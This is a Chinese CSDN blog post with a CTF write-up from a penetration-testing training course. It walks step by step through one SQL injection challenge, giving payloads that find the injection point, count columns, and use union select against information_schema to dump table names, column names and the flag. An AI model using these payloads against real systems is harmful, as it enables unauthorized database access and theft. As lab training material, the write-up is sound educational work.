【PTE】承制科技培训SQL注入题目writeup

本文介绍了承制科技的PTE培训课程中的CTF靶场,涉及多个SQL注入题目,包括0web_sql1、2.成绩单、基础题目一:二阶SQL注入等。通过绕过空格和特殊字符过滤,实现账号密码的非法验证,展示SQL注入攻击和防御技巧。
摘要由CSDN通过智能技术生成

零 靶场地址:CTF

这个靶场是承制科技的pte培训课程提供的靶场

一 0web_sql1

1.判断注入点
1' and 1=1 #
1' and 1=2 #

2.判断列数
1' order by 4 #
1' order by 5 #        此时数据没有输出,证明该表只有4列

3.联合查询
-1' union select 1,2,3,4 #

4.查数据库里所有的表名
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #
得知存在一个表flag

5.查询flag表中的列名
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='flag' #
得知存在列Id,flag

6.查询flag列里的内容
-1' union select 1,2,3,group_concat(flag) from flag #

得到flag
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值